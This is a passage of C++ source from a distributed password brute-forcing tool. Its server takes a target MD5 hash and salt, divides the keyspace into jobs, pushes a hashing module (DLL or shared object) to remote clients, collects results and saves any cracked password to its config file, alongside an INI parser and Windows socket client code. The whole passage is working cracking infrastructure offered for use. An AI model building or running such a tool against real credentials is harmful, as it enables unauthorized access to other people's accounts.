		this->exitThread();

	} catch ( SocketException& e ) { 
		if (errno!=0) cerr << "ERROR(" << errno << ") in socket : " << strerror(errno) << endl;
		this->is_running=false;
		this->socket_client.close();
		this->exitThread();
	}
	
}



void ClientConnection::CONNECT_ACK(void){
	cout << "- CONNECT_ACK(" << this->id << ")" << endl;
	this->tx="CONNECT_ACK";
	socket_client << this->tx;
	this->tx="";
}



void ClientConnection::SEND_MODULE(void){
	cout << "- SEND_MODULE(" << this->id << ")" << endl;
	string extension;
	if (this->rx.substr(15)=="WIN32") extension=".dll";
	else if (this->rx.substr(15)=="UNIX") extension=".so";
	string tmp=MODULE_TO_SEND+extension;

	cerr << "\tSENDING MODULE : " << tmp << endl;

	ifstream vFile (tmp.c_str(), ios::in|ios::binary|ios::ate); // ouverture du fichier en mode binary
	if (vFile.is_open()) { // verification du flux avant utilisation
		int size = vFile.tellg(); // recuperation de la longueur du fichier
		char* Memblock = new char [size]; // initialisation du char* e la bonne taille
		vFile.seekg (0, ios::beg); // on se place au debut du fichier
		vFile.read (Memblock, size); // on lit le nombre d'octet correspondant e la taille
		vFile.close(); // on ferme le flux

		for (int i=0;i<size;i++) {
			char c[1];
			c[0]=Memblock[i];
			socket_client.Socket::send(c);
		}
		cerr << "\t" << size << " bytes sent" << endl;
	}

	this->tx="";	

}


void ClientConnection::WAIT_MODULE_ACK(void){
	cout << "- WAIT_MODULE_ACK(" << this->id << ")" << endl;
	while (this->rx!="MODULE_ACK"){
		socket_client >> this->rx;
	}
}


void ClientConnection::SEND_PARAM(void){
	cout << "- SEND_PARAM(" << this->id << ")" << endl;
	std::ostringstream oss;
	oss << "PARAM" << this->server->min_size << "|" << this->server->max_size << "|" << this->server->chars_allowed << "|" << this->server->salt << "|" << this->server->hash_to_hack;
	socket_client << oss.str();	
}


void ClientConnection::WAIT_PARAM_ACK(void){
	cout << "- WAIT_PARAM_ACK(" << this->id << ")" << endl;
	while (this->rx!="PARAM_ACK"){
		socket_client >> this->rx;
	}
}


void ClientConnection::SEND_JOBS(void){
	cout << "- SEND_JOBS(" << this->id << ")" << endl;
	this->tx="JOBS|";
	int idx;
	for (idx=0;idx<NB_OF_JOBS_TO_SEND;idx++){
		Job* j=this->server->AvailableJobs();
		if (j!=NULL) this->tx+=j->begin+"|";
	}
	if (idx==0) this->tx="JOBS|";
	socket_client << this->tx;
}

void ClientConnection::WAIT_JOBS_ACK(void){
	cout << "- WAIT_JOBS_ACK(" << this->id << ")" << endl;
	while (this->rx!="JOBS_ACK"){
		socket_client >> this->rx;
	}
}

void ClientConnection::COMPUTE_RESULTS(void){
	cout << "- COMPUTE_RESULTS(" << this->id << ")" << endl;
	char** results=explode((char*)this->rx.substr(15).c_str(),'|');
	for (int idx=0;results[idx]!=NULL && results[idx+1]!=NULL;idx+=2){
		string res=results[idx];
		server->ReportJob(res);
		if (strcmp(results[idx+1]," ")!=0) {	
			this->server->config->setValeur(MAIN_SECTION,"password",results[idx+1]);
			this->server->password=results[idx+1];
		}
	}
	
}


void ClientConnection::QUIT(void){
	cout << "- QUIT(" << this->id << ")" << endl << endl;
	this->tx="QUIT";
	socket_client << this->tx;
}




char** ClientConnection::explode(char* str,char separator){
	int  nbstr = 1;
	int  from = 0;
	char** res = (char **) malloc(sizeof (char *));
	int len = strlen(str);
	for (int i = 0; i <= len; ++i){
		if ((i == len) || (str[i] == separator)){
			res = (char **) realloc(res, ++nbstr * sizeof (char *));
			res[nbstr - 2] = (char *) malloc((i - from + 1) * sizeof (char));
			for (int j = 0; j < (i - from); ++j)
				res[nbstr - 2][j] = str[j + from];
			res[nbstr - 2][i - from] = '\0';
			from = i + 1;
			++i;
		}
	}
	res[nbstr - 1] =  NULL;
	return res;
}
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DistributedPasswordBruteForcer-x86/server/ClientConnection.h

#ifndef ClientConnection_class
#define ClientConnection_class

#include <iostream>
#include <sstream>
#include <fstream>
#include "ServerSocket.h"
#include "../lib/SocketException.h"
#include "../lib/Thread.cpp"

class Job;
class Server;

using namespace std;

class ClientConnection : public Thread {
	public:
		string id;
		bool is_running;
		string password_found;
		string rx;
		string tx;
		Server* server;

		ServerSocket socket_client;
		virtual void createThread();
		char** explode(char* str,char separator);

		ClientConnection(Server*);
		~ClientConnection();


		void INIT(void);
		void CONNECT_ACK(void);
		void QUIT();

		void SEND_MODULE(void);
		void WAIT_MODULE_ACK(void);

		void SEND_PARAM(void);
		void WAIT_PARAM_ACK(void);

		void SEND_JOBS(void);
		void WAIT_JOBS_ACK(void);

		void COMPUTE_RESULTS();

};

#endif
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DistributedPasswordBruteForcer-x86/server/ConfigIniParser.cpp

#include <iostream>
#include <fstream>
#include <sstream>
#include <map>
#include <vector>
#include <cstdlib>
#include <cstdlib>


#include "ConfigIniParser.h"




using namespace std;
//constructeur

ConfigIniParser::ConfigIniParser()
{
    m_erreur=false;     //bool
    m_fichier="";       //string
    vector<entry> v(1);
    v[0].variable="";
    v[0].valeur="";
    v[0].commentaire=";.ini file";
    m_config[ENTETE]=v;
}


ConfigIniParser::ConfigIniParser(string fichier)
{
    m_erreur=false;
    m_fichier=fichier;
//     open();
}

ConfigIniParser::~ConfigIniParser(){}

bool ConfigIniParser::open()
{

	fstream fic;
	fic.open(m_fichier.c_str(), ios::in); // touch file
	if (fic.fail()) fic.open(m_fichier.c_str(), ios::out); // touch file
	fic.close();

	ifstream f(m_fichier.c_str(), ios::in);
	if (!f.is_open()) return false;
	string ligne="";
	string nom_section=ENTETE;
	vector<entry> v;
	m_structure.push_back(nom_section);
	while(getline(f,ligne)){
		string s=m_getSection(ligne);
		if(s!=""){
			m_config[nom_section]=v;
			v.clear();
			nom_section=s;
			m_structure.push_back(nom_section);
			continue;
		}
		entry e;
		m_makeEntry(&e,ligne);
		if (&e!=NULL){
			v.push_back(e); //on rempli de tableau d'entry
		}
	}
	if (nom_section!=ENTETE) m_config[nom_section]=v;
	f.close();
    return true;
}


bool ConfigIniParser::getSection(string section){
    ifstream f(m_fichier.c_str(), ios::in);
    if (!f.is_open()) return false;
    string ligne="";
    while(getline(f,ligne)){
      if (section==m_getSection(ligne)) return true;
    }
    f.close();
    return false;
}




bool ConfigIniParser::save()
{
    ofstream f(m_fichier.c_str(), fstream::out);
    if (!f.is_open())return false;

    if(DEBUG){for(unsigned int i=0; i<m_structure.size();i++){cout<<m_structure[i]<<endl;}}
    for(unsigned int i=0; i<m_structure.size();i++){
        if(m_structure[i]!=ENTETE)f<<"["<<m_structure[i]<<"]"<<endl;
        vector<entry> v=m_config[m_structure[i]];
        for (unsigned int i=0;i<v.size();i++){
            if (v[i].variable!=""){
                if(v[i].commentaire!=""){
                    f<<v[i].variable<<"\t=\t"<<v[i].valeur<<"\t;"<<v[i].commentaire<<endl;
                } else {
                    f<<v[i].variable<<"\t=\t"<<v[i].valeur<<endl;
                }
            } else if(v[i].commentaire!=""){
                f<<";"<<v[i].commentaire<<endl;
            } else {
                f<<endl;
            }
        }
    }
    f.close();
    return true;
}




entry ConfigIniParser::getEntry(const string& section, const string& variable){
	m_erreur=false;
	if (variable!="" && section!=""){
		for(unsigned int i=0; i<m_config[section].size();i++){
			if(m_config[section][i].variable==variable){
				return m_config[section][i];
			}
		}
	}

	entry e;
	e.commentaire=ERREUR;
	e.valeur=ERREUR;
	e.variable=ERREUR;
	m_erreur=true;
	return e;
}


string ConfigIniParser::getValeur(const string& section, const string& variable){
    entry e=getEntry(section,variable);
    return e.valeur;
}


string ConfigIniParser::getComment(const string& section, const string& variable){
    entry e=getEntry(section,variable);
    return e.commentaire;
}

//bool ConfigIniParser::setValeur(const string& section, const string& variable , const string& valeur){
//    REMPLACE PAR UN TEMPLATE
bool ConfigIniParser::addEntry(const string& section, const entry& e){
    if(m_config.find(section)==m_config.end()) return false;
    m_config[section].insert(m_config[section].begin(),e);
    return true;
}


bool ConfigIniParser::addComment(const string& section, const string& commentaire){
    entry e={"","",commentaire};
    return addEntry(section,e);
}


bool ConfigIniParser::setComment(const string& section, const string& variable, const string& commentaire){
    if(m_config.find(section)==m_config.end())return false;
    vector<entry> v=m_config[section];
    for(unsigned int i =0; i<v.size() ;i++){
        if(v[i].variable==variable){
            v[i].commentaire=commentaire;
            m_config[section]=v;
            return true;
        }
    }
    return false;
}
//bool ConfigIniParser::addValeur(const string& section, const string& variable, const string& valeur){
//    REMPLACE PAR UN TEMPLATE
bool ConfigIniParser::addSection(const string& section, const unsigned int& position){

    if(m_config.find(section)!=m_config.end())return false;
    if(m_structure.size()<position || position == 0)return false; //position 0=ENTETE
    vector<entry> v(0);
    m_config[section]=v;
    m_structure.insert(m_structure.begin()+position,section);
    return true;
}


bool ConfigIniParser::eraseEntry(const string& section, const string& variable){
    if(DEBUG)cout<<"eraseEntry"<<endl;
    if(m_config.find(section)==m_config.end())return false;
    if(variable=="")return false;
    vector <entry> v=m_config[section];
    for(unsigned int i=0; i<v.size(); i++){
        if(v[i].variable==variable){
            v.erase(v.begin()+i);
            m_config[section]=v;
            break;
        }
    }
    return true;
}
bool ConfigIniParser::eraseSection(const string& section){
    if(m_config.find(section)==m_config.end())return false;
    vector<string>& v=m_structure;
    for(unsigned int i=0;i<v.size();i++)if(v[i]==section)v.erase(v.begin()+i);
    //todo purger m_config aussi ?
    return true;
}
unsigned int ConfigIniParser::begin(){return 1;}
unsigned int ConfigIniParser::end(){return m_structure.size();}
/** PRIVATE
revoie le nom de la section s'il y a lieux
*/
string ConfigIniParser::m_getSection(const string ligne){
    string nom_section="";
    bool into=false;
    for (unsigned int i=0;i<ligne.length();i++){
        char c=ligne[i];
        if(c==']')into=false;
        if(into)nom_section+=c;
        if(c=='[')into=true;
    }
    return nom_section;
}
/** PRIVATE
fabrique une entry (variable, valeur, commentaire) a partir d'une ligne
*/
void ConfigIniParser::m_makeEntry(entry* e,const string ligne){
    int pos_egal=0;
    int pos_coment=-1;
    bool format = false;
    for (unsigned int i=0;i<ligne.length();i++){
        char c=ligne[i];
        if(DEBUG)cout<<"DEBUG: ConfigIniParser::m_makeEntry => "<<c<<hex<<"="<<int(c)<<" "<<endl;
        if(c==COMENT){          //format ok, c'est un commentaire
            pos_coment=i;
            format=true;
            break;}
        else if(c==EGAL){
            if (pos_egal==0){   //ok, c'est bien le premier egal
                pos_egal=i;
                format=true;
            } else {            //si 2eme egal le format n'est pas bon
                format=false;
                break;
            }
        }
    }
    if(format){
       if (pos_coment!=-1){
           e->commentaire=ligne.substr(pos_coment+1,(ligne.length()-pos_coment));
       } else {
           e->commentaire="";
       }
       if (pos_egal!=0){
           string s =(ligne.substr(0,pos_egal));
           m_sStrip(&s,' ');    //on enleve tous les espaces
           m_sStrip(&s,9);      //on enleve les tabulations aussi
           e->variable=s;
           if(pos_coment!=-1){
               e->valeur=ligne.substr(pos_egal+1,(pos_coment-(pos_egal+1)));
               m_sStrip(&(e->valeur),' ');
               m_sStrip(&(e->valeur),9);
           } else {
               e->valeur=ligne.substr(pos_egal+1,(ligne.length()-(pos_egal+1)));
               m_sStrip(&(e->valeur),' ');
               m_sStrip(&(e->valeur),9);
               }
       }
    } else {
        e=NULL;}
}
/** PRIVATE
Efface tout les char c de la chaine s
*/
void ConfigIniParser::m_sStrip(string* s,const char c){
    while (s->find(c)!=string::npos)s->erase(s->find(c),1);
}
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#ifndef ConfigIniParser_class
#define ConfigIniParser_class


#include <map>
#include <vector>
#include <sstream>

using namespace std;

    enum separateurs{EGAL='=',COMENT=';'};
    const string ENTETE="  __COMMENTAIRES_DENTETE";
    const string ERREUR="ERROR";
    const bool DEBUG=false;

    struct entry
    {
        string variable;
        string valeur;
        string commentaire;
    };


    class ConfigIniParser {

	public:
		ConfigIniParser();
		ConfigIniParser(string fichier);
		~ConfigIniParser();

		string m_fichier;

		bool getSection(string section);



		/**
		*      \fn     bool open(string fichier="config.ini");
		*      Fonction ouverture d'un fichier.ini
		*      \brief  ConfigIniParser.open("fichier.ini") /default=config.ini
		*      \param  string fichier
		*/
		bool open();
		/**
		*      \fn     bool save(string fichier="config.ini");
		*      \brief  ConfigIniParser.save("fichier.ini") /default=config.ini
		*/
		bool save();
		entry getEntry(const string& section,const string& variable);
		/**
		*      \fn string getValeur(const string& section, const string& variable);
		*      \brief Retourne la valeur correspondant a la variable demandée
		*/
		string getValeur(const string& section, const string& variable); //old way
		template<class T>
		bool getValeur(const string& section, const string& variable, T& destination);
		string getComment(const string& section, const string& variable);
		bool addEntry(const string& section, const entry& e); //a eviter
		bool addComment(const string& section, const string& commentaire); //en debut de section
		bool setComment(const string& section, const string& variable, const string& commentaire); //sur une ligne
		template<class T>
		bool setValeur(const string& section, const string& variable , const T& valeur);
		template<class T>
		bool addValeur (const string& section, const string& variable , const T& valeur); //forme generique
		//bool addValeur(const string& section, const string& variable , const int& valeur);
		//bool addValeur(const string& section, const string& variable , const double& valeur);
		bool addSection(const string& section, const unsigned int& position);
		bool eraseEntry(const string& section, const string& variable);
		bool eraseSection(const string& section);
		/**todo
		bool eraseValeur();
		*/
		unsigned int begin();
		unsigned int end();
	
		
	
	protected:
		bool m_erreur;

		map<string,vector<entry> > m_config;    //le fichier config sera contenu ici
		vector<string> m_structure;             //preserve la 'structure' (l'ordre) du fichier
		string m_getSection(const string ligne);
		void m_makeEntry(entry* e,const string ligne);
		void m_sStrip(string* s, const char c);
    };


    template<typename T>
    string toStr(const T& v){
        ostringstream oss;
        oss<<v;
        return oss.str();
    }


    template<typename T>
    bool fromStr(const string& v, T& dest ){
        istringstream iss(v);
        return iss >> dest != 0;
    }


    template<typename T>
    bool ConfigIniParser::addValeur(const string& section, const string& variable , const T& valeur){
        if(m_config.find(section)==m_config.end())return false;
        entry e;
        e.commentaire="";
        e.valeur=toStr(valeur);
        e.variable=variable;


// 	cout << "valeur=" << valeur << " et variable=" << variable << endl;

        m_config[section].insert(m_config[section].begin(),e);
        return true;
    }


    template<typename T>
    bool ConfigIniParser::setValeur(const string& section, const string& variable , const T& valeur){
        if(m_config.find(section)==m_config.end())return false;
        vector<entry> v=m_config[section];
        for(unsigned int i =0; i<v.size() ;i++){
            if(v[i].variable==variable){
                v[i].valeur=toStr(valeur);
                m_config[section]=v;
                return true;
            }
        }
        return false;
    }


    template<typename T>
    bool ConfigIniParser::getValeur(const string& section, const string& variable,T& destination){
        m_erreur=false;
        if (variable!="" && section!=""){
            for(unsigned int i=0; m_config[section].size();i++){
                if(m_config[section][i].variable==variable){
                    return fromStr(m_config[section][i].valeur,destination);
                }
            }
        }
        m_erreur=true;
        return false;
    }





#endif








__MACOSX/DistributedPasswordBruteForcer-x86/server/._ConfigIniParser.h





DistributedPasswordBruteForcer-x86/server/Server.cpp

#include "Server.h"

Server* g_server;


void Server::SIGINT_HANDLER(int sig){
	if (sig==SIGINT) cerr << "- SIGINT RECEIVED" << endl;
// 	while (g_server->nb_of_job_attributed>0){
// 		cerr << "\twaiting clients to finish." << endl;
// 		sleep(15);
// 	}
	g_server->is_running=false;
}

Server::Server(int p, int min, int max, char* hash, char* vsalt, char* chars){

	struct sigaction new_sa;
	struct sigaction old_sa;
	new_sa.sa_handler = Server::SIGINT_HANDLER;
	sigemptyset(&new_sa.sa_mask);
	new_sa.sa_flags = 0;
	sigaction(SIGINT, &new_sa, &old_sa);
	g_server=this;

	this->DEBUG=true;
	this->is_running=true;
	this->port=p;

	this->chars_allowed=chars; /**/
	this->min_size=min;
	this->max_size=max;
	this->salt=vsalt;
	this->hash_to_hack=hash; 

	this->password="";

	this->nb_of_job_attributed=0;
	this->nb_of_job_done=0;
	ostringstream oss;
	oss << FILE_DIRECTORY << hash_to_hack.substr(0,4) << "_" << min_size << "_" << max_size << "_" << chars_allowed.length();
	string ini=oss.str()+".ini";
	string db=oss.str()+".db";

	this->config=new ConfigIniParser(ini);
	int ret;
	if ((ret = db_create(&dbp, NULL, 0)) != 0) cerr << "db_create : " << db_strerror(ret) << endl;
	else if ((ret = dbp->open(dbp,NULL, db.c_str(), NULL, DB_BTREE, DB_CREATE, 0664)) != 0) {
		dbp->err(dbp, ret, "%s", db.c_str());
		exit(1);
	}

	this->computePossibilities();
	this->DIVISE_WORK();
	this->LOAD_INI();
	this->LOAD_DB();
	this->INIT();
}


void Server::DIVISE_WORK(void){
	cerr << "- DIVISE_WORK() : ";
	tab_job.clear();
	long double tmp=this->chars_allowed.length();
	for (nb_char=0; pow(tmp,nb_char)<NUMBER_OF_ITERATIONS;nb_char++);
	
	nb_char=max_size-nb_char;
	if (nb_char>3) nb_char=3;
	else if (nb_char<=0) nb_char=1;

	string str="";
	computePassBegin(str);
	cerr << "OK" << endl;
}



void Server::computePassBegin(string str){
	if (str.length()>nb_char) return;
	for (int idx=0;idx<chars_allowed.length();idx++){
		string tmp=str+chars_allowed[idx];
		computePassBegin(tmp);
	}
	if (str.length()==nb_char) {
		Job* j=new Job(str);
		tab_job.push_back(j);
	}
}



void Server::LOAD_INI(void){
	cerr << "- LOAD_INI() : ";
	config->open();
	if(!config->getSection(MAIN_SECTION)) config->addSection(MAIN_SECTION,config->end());

	if (config->getValeur(MAIN_SECTION,"port")=="ERROR") config->addValeur(MAIN_SECTION,"port",port);
	else config->getValeur(MAIN_SECTION,"port",this->port);
	if (config->getValeur(MAIN_SECTION,"min_size")=="ERROR") config->addValeur(MAIN_SECTION,"min_size",min_size);
	else config->getValeur(MAIN_SECTION,"min_size",min_size);
	if (config->getValeur(MAIN_SECTION,"max_size")=="ERROR") config->addValeur(MAIN_SECTION,"max_size",max_size);
	else config->getValeur(MAIN_SECTION,"max_size",max_size);
	if (config->getValeur(MAIN_SECTION,"chars_allowed")=="ERROR") config->addValeur(MAIN_SECTION,"chars_allowed",chars_allowed);
	else config->getValeur(MAIN_SECTION,"chars_allowed",chars_allowed);
	if (config->getValeur(MAIN_SECTION,"hash_to_hack")=="ERROR") config->addValeur(MAIN_SECTION,"hash_to_hack",hash_to_hack);
	else config->getValeur(MAIN_SECTION,"hash_to_hack",hash_to_hack);
	if (config->getValeur(MAIN_SECTION,"salt")=="ERROR") config->addValeur(MAIN_SECTION,"salt",salt);
	else config->getValeur(MAIN_SECTION,"salt",salt);
	if (config->getValeur(MAIN_SECTION,"password")=="ERROR") config->addValeur(MAIN_SECTION,"password",password);
	else config->getValeur(MAIN_SECTION,"password",password);
	if (password!="") this->is_running=false;

	cerr << "OK" << endl;
}

void Server::LOAD_DB(void){
	cerr << "- LOAD_DB() : " << endl;
	config->save();
	list<Job*>::iterator i = tab_job.begin();
	while(i != tab_job.end()){
		Job* j=*i;
		key.data = (void*)j->begin.c_str();
		key.size = sizeof(j->begin.c_str());
		data.data = (void*)JOB_TODO;
		data.size = sizeof(JOB_TODO);

		int ret;
		if ((ret = dbp->get(dbp, NULL, &key, &data, 0)) == 0){
			char tmp[256];
			sprintf(tmp,"%s",(char *)data.data);
			if (strcmp(tmp,JOB_TODO)==0){
				j->done=false;
			} else if (strcmp(tmp,JOB_DONE)==0) {
				j->done=true;
				nb_of_job_done++;
			}
		} else {
			if ((ret = dbp->put(dbp, NULL, &key, &data, 0))!= 0) dbp->err(dbp, ret, "DB->put");
		}
		i++;
	}

	cerr << "\tCONFIG FILE       =   " << this->config->m_fichier << endl;
	cerr << "\tPORT              =   " << this->port << endl;
	cerr << "\tMIN LENGTH        =   " << this->min_size << endl;
	cerr << "\tMAX LENGTH        =   " << this->max_size << endl;
	cerr << "\tALLOWED CHARS     =   " << this->chars_allowed << endl;
	cerr << "\tNB POSSIBILITIES  =   " << this->nb_possibilities << endl;
	cerr << "\tMD5 TO HACK       =   " << this->hash_to_hack << endl;
	cerr << "\tSALT              =   " << this->salt << endl;
	cerr << "\tTODO / DONE       =   " << this->nb_of_job_done << " / " << tab_job.size() << endl;
}


void Server::SAVE_INI(void){
	cerr << "- SAVE_INI() : ";
	config->setValeur(MAIN_SECTION,"port",port);
	config->setValeur(MAIN_SECTION,"min_size",min_size);
	config->setValeur(MAIN_SECTION,"max_size",max_size);
	config->setValeur(MAIN_SECTION,"chars_allowed",chars_allowed);
	config->setValeur(MAIN_SECTION,"hash_to_hack",hash_to_hack);
	config->setValeur(MAIN_SECTION,"salt",salt);
	config->save();
	cerr << "OK" << endl;
}


void Server::SAVE_DB(void){
	cerr << "- SAVE_DB() : ";
	list<Job*>::reverse_iterator i = tab_job.rbegin();
	while(i != tab_job.rend()){
		Job* j=*i;
		int ret;
		if ((ret = dbp->get(dbp, NULL, &key, &data, 0)) == 0){
			char tmp[256];
			sprintf(tmp,"%s",(char *)data.data);
			if (j->done) {
				key.data = (void*)j->begin.c_str();
				key.size = sizeof(j->begin.c_str());
				data.data = (void*)JOB_DONE;
				data.size = sizeof(JOB_DONE);
				if ((ret = dbp->put(dbp, NULL, &key, &data, 0)) != 0) dbp->err(dbp, ret, "DB->put");
			}
		} else dbp->err(dbp, ret, "DB->get");
		i++;
	}
	dbp->close(dbp, 0);
	cerr << "OK" << endl;
}



void Server::computePossibilities(void){
	this->nb_possibilities=0;
	long double tmp=this->chars_allowed.length();
	for (int idx=this->min_size;idx<=this->max_size;idx++){
		this->nb_possibilities+=pow(tmp,idx);
	}
}





void Server::INIT(void){
	cerr << "- INIT() : ";
	int idx=0;
	socket_server=new ServerSocket( this->port );
	cerr << "OK" << endl;
	while (((nb_of_job_done+this->nb_of_job_attributed)<tab_job.size() && this->is_running==true) || this->nb_of_job_attributed>0 ){
		cerr << "\n- WAITING CONNECT ( " << nb_of_job_done << " / " << tab_job.size() << " job(s) done )" << endl;
		ClientConnection* client_connection=new ClientConnection(this);
		try {
			socket_server->accept( client_connection->socket_client );
			client_connection->id=socket_server->Socket::host+":"+socket_server->Socket::port;
		} catch ( SocketException& e ){
			string input="";
			switch (errno){
				case 0:
					cout << "ERROR(" << errno << ") in socket : " << strerror(errno) << endl;
					break;
				case 4: 
					this->is_running=false;
					this->nb_of_job_attributed=0;
					break;
				default: 
					cout << "SocketException : ERROR(" << errno << ") in socket : " << strerror(errno) << endl;
					break;
			}
			continue;
		}
		this->INIT_CLIENT(client_connection);
	}
	socket_server->close();
	this->SAVE_INI();
	this->SAVE_DB();



	cerr << "\t########################################" << endl;
	if (password=="") cerr << "\t#     PASS NOT FOUND :'(" << endl;
	else cerr << "\t#     PASS FOUND  : " << password << endl;
	cerr << "\t########################################" << endl;
	cerr << endl;
}


void Server::INIT_CLIENT(ClientConnection* client_connection){
	if (client_connection->is_running==false) 
		pthread_t* join_to=client_connection->initThread();
}



Job* Server::AvailableJobs(void){
	time_t end;
	time(&end);
	list<Job*>::iterator i = tab_job.begin();
	while(i != tab_job.end()){
		Job* j=*i;
		if (j->allocated==true && j->done==false && difftime(end,j->start)>JOB_TIMEOUT*60) {
			j->allocated=false;
			cerr << "- RELEASED(" << j->begin << ", timeout < " << difftime(end,j->start) << "\")" << endl;
		}

		if (j->allocated==false && j->done==false) {
			pthread_mutex_lock( &mutex );
			j->allocated=true;
			time(&j->start);
			nb_of_job_attributed++;
			pthread_mutex_unlock( &mutex );
			cerr << "- ALLOCATED(" << j->begin << ")" << endl;
			return j;
		} else i++;
	}
	return NULL;
}


void Server::ReportJob(string b){
	list<Job*>::iterator i = tab_job.begin();
	while(i != tab_job.end()){
		Job* j=*i;
		if (j->begin==b) {
			j->done=true;
			j->allocated=false;
			nb_of_job_done++;
			nb_of_job_attributed--;
			break;
		}
		i++;
	}
}



int main(int argc, char* argv[]){
	if (argc<6) {
	    cout << "Usage : " << argv[0] << " [PORT] [MIN_CHAR] [MAX_CHAR] [HASH] [SALT] [ALLOWED CHARS]" << endl;
	    exit(1);
	}  
	Server* server=new Server(atoi(argv[1]),atoi(argv[2]),atoi(argv[3]),argv[4],argv[5],argv[6]);
}
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#ifndef Server_class
#define Server_class

#include <list>
#include <cmath>
#include <ctime>
#include <cerrno>
#include <csignal>
#include <fstream>
#include <unistd.h>
#include <db.h>

#include "ClientConnection.h"
#include "ConfigIniParser.h"
#include "../lib/Job.h"


#define 	FILE_DIRECTORY			"./"
#define 	NUMBER_OF_ITERATIONS 		500000
#define 	JOB_TIMEOUT 			120 // in minutes
#define		NB_OF_JOBS_TO_SEND		5
#define 	MAIN_SECTION			"MAIN"
#define 	JOB_TODO			"todo"
#define 	JOB_DONE			"done"
#define		MODULE_TO_SEND			"./HashMD5Crypt"




using namespace std;

class ClientConnection;
class Job;

class Server {

	public:
		ConfigIniParser* config;
		ServerSocket* socket_server;

		int port;
		bool is_running;
		bool DEBUG;

		string chars_allowed;
		int min_size;
		int max_size;	
		long double nb_possibilities;
		string hash_to_hack;
		string salt;
		string password;

		int nb_char;
		list<Job*> tab_job;
		int nb_of_job_attributed;
		int nb_of_job_done;
		pthread_mutex_t mutex;

		DB *dbp;
		DBT key, data;



		Server(int, int , int, char*, char*, char*);

		void computePossibilities(void);
		void computePassBegin(string str);
		Job* AvailableJobs(void);
		void ReportJob(string b);

		void SAVE_INI(void);
		void SAVE_DB(void);
		void LOAD_INI(void);
		void LOAD_DB(void);

		void INIT(void);
		void INIT_CLIENT(ClientConnection*);
		void DIVISE_WORK(void);
		static void SIGINT_HANDLER(int);

};

/*

FONCTIONNALITEES :

- nombre de clients > 10000 => temps de crack / 10000 :)
- base de donnée berkeley DB
- chargement (changement) distant du module de hash
- 3 algos...
- stop / reprise
- reprise des jobs sur timeout

*/






#endif
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DistributedPasswordBruteForcer-x86/server/ServerSocket.cpp

// Implementation of the ServerSocket class





#include "ServerSocket.h"











ServerSocket::ServerSocket ( int port ){


    if ( ! Socket::create() ){


        throw SocketException ( "Could not create server socket." );


    }





    if ( ! Socket::bind ( port ) ){


        throw SocketException ( "Could not bind to port." );


    }





    if ( ! Socket::listen() ){


        throw SocketException ( "Could not listen to socket." );


    }





}


ServerSocket::ServerSocket(){





}





ServerSocket::~ServerSocket(){


    this->close();


    delete this;


}








const ServerSocket& ServerSocket::operator << ( const std::string& s ) const {


    if ( ! Socket::send ( s ) ){


        throw SocketException ( "Could not write to socket." );


    }


    return *this;


}








const ServerSocket& ServerSocket::operator >> ( std::string& s ) const{


    if ( ! Socket::recv ( s ) ){


        throw SocketException ( "Could not read from socket." );


    }


    return *this;


}





void ServerSocket::accept ( ServerSocket& sock ){


    if ( ! Socket::accept ( sock ) ){


        throw SocketException ( "Could not accept socket." );


    }


}








void ServerSocket::close (){


    if ( ! Socket::shutdown () ){


        throw SocketException ( "Could not shutdown socket." );


    }


}







__MACOSX/DistributedPasswordBruteForcer-x86/server/._ServerSocket.cpp





DistributedPasswordBruteForcer-x86/server/ServerSocket.h

// Definition of the ServerSocket class

#ifndef ServerSocket_class
#define ServerSocket_class

#include "../lib/Socket.h"
#include "../lib/SocketException.h"

// namespace DistributedPasswordGen {
	class ServerSocket : public Socket {
		public:
		
			ServerSocket ( int port );
			ServerSocket ();
			virtual ~ServerSocket();
			
			const ServerSocket& operator << ( const std::string& ) const;
			const ServerSocket& operator >> ( std::string& ) const;
			void set_non_blocking(bool b);
			void accept ( ServerSocket& );
			void close ();
	};

// }

#endif
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#include "ClientSocket.h"

using namespace std;


ClientSocket::ClientSocket ( std::string host, int port ){
	if (WSAStartup(MAKEWORD(2,2),&init_win32)!=0) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
	client_socket=socket(AF_INET,SOCK_STREAM,0);
	if (client_socket==INVALID_SOCKET) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
	setsockopt(client_socket,IPPROTO_TCP,TCP_NODELAY,(char *)&tempo,sizeof(tempo));
	
	
	// a isoler dans une fonction connect()
    sockaddr.sin_family=AF_INET;
	sockaddr.sin_addr.s_addr=inet_addr(host.c_str());
	sockaddr.sin_port=htons(port);
	if (connect(client_socket,(struct sockaddr*)&sockaddr,sizeof(sockaddr))!=0) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
}


void ClientSocket::send(std::string s){
	if (_WINSOCK2_H::send(client_socket,s.c_str(),s.length(),0)==SOCKET_ERROR) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
}

void ClientSocket::send(char c[1]){
	if (_WINSOCK2_H::send(client_socket,c,1,0)==SOCKET_ERROR) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
}



std::string ClientSocket::recv(string s){
    char buffer[4096];
    if (_WINSOCK2_H::recv(client_socket,buffer,4096,0)==SOCKET_ERROR) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
    string tmp=buffer;
    return tmp;
}

int ClientSocket::recv(char &c){
    char buf [ 1 ];
	int status=_WINSOCK2_H::recv(client_socket,buf,1,0);
    if (status==SOCKET_ERROR) {
       cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
       return 0;
    }
    c=buf[0];
    return status;
    
}


void ClientSocket::close (){
    if (shutdown(client_socket,2)!=0) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;
	if (WSACleanup()!=0) cout << "WSAGetLastError() = " << WSAGetLastError() << endl;   
}
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#ifndef ClientSocket_class
#define ClientSocket_class

#include <winsock2.h>
#include <cstdio>
#include <iostream>
#include <string>

class ClientSocket {
	public:
	
    	int tempo;
        WSADATA init_win32;
        SOCKET client_socket;
        SOCKADDR_IN sockaddr;
	
		ClientSocket ( std::string host, int port );
		~ClientSocket(){};

		void send(std::string s);
		std::string recv(std::string s);

		void send(char c[1]);
		int recv(char &c);		

		void close ();

};


#endif
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#ifndef HashMD5_class
#define HashMD5_class

#include <openssl/evp.h>
#include "../client/Hash.h"

#ifdef WIN32
    #if BUILDING_DLL
        #define DLLIMPORT __declspec (dllexport)
    #else /* Not BUILDING_DLL */
          #define DLLIMPORT __declspec (dllimport)
    #endif /* Not BUILDING_DLL */
    
    #include <string>
    #include <windows.h>
    #define EXPORT extern "C" __declspec( dllexport )
#else
     #define DLLIMPORT
     #define EXPORT extern "C"

#endif


using namespace std;

